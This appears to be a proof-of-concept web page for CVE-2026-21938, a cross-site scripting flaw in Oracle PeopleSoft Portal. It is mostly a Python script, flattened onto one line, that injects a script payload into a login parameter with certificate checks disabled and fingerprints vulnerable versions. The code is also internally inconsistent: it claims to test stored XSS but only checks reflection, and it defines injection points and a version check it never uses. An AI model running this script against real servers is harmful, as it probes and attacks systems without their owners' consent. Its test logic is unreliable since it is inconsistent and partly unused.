CVE-2026-21938 Oracle PeopleSoft PeopleTools Portal组件跨站脚本漏洞

import requests import urllib3 urllib3.disable_warnings() # CVE-2026-21938 PoC - PeopleSoft Portal XSS # Target: Oracle PeopleSoft Enterprise PeopleTools # Component: Portal TARGET_URL = "https://vulnerable-server/psp/HR92D/" # Replace with actual target def test_xss_payload(): """ Test for stored XSS in PeopleSoft Portal component This PoC demonstrates the vulnerability in CVE-2026-21938 """ # XSS payload - typical injection point in Portal parameters xss_payload = "<script>alert('XSS-CVE-2026-21938')</script>" # Common injection points in PeopleSoft Portal injection_points = [ "/psc/HR92D/", "/portal/", "/servletpsc/", "/EMPLOYEE/HRMS/" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' } print(f"[*] Testing CVE-2026-21938 on {TARGET_URL}") print(f"[*] Target component: Portal") print(f"[*] Payload: {xss_payload}") # Test various parameters commonly vulnerable in Portal params = { 'cmd': 'login', 'languageCd': 'ENG', 'userid': xss_payload, 'pwd': 'test123' } try: response = requests.get( TARGET_URL, params=params, headers=headers, verify=False, timeout=30 ) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") if xss_payload in response.text: print("[!] VULNERABLE - XSS payload reflected in response") return True else: print("[*] Payload not found in response - may require different injection point") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def verify_version(peoplesoft_url): """ Check PeopleSoft version for vulnerability assessment Affected versions: 8.60, 8.61, 8.62 """ version_urls = [ "/psp/HR92D/?cmd=about", "/psc/HR92D/ABOUT", "/psp/EMPLOYEE/HRMS/h/?tab=DEFAULT" ] for url in version_urls: try: response = requests.get( peoplesoft_url + url, verify=False, timeout=10 ) # Look for version indicators in response if '8.60' in response.text or '8.61' in response.text or '8.62' in response.text: print(f"[+] Found vulnerable version indicator at {url}") return True except: continue return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-21938 PoC - Oracle PeopleSoft PeopleTools Portal XSS") print("CVSS: 6.1 (Medium)") print("=" * 60) test_xss_payload()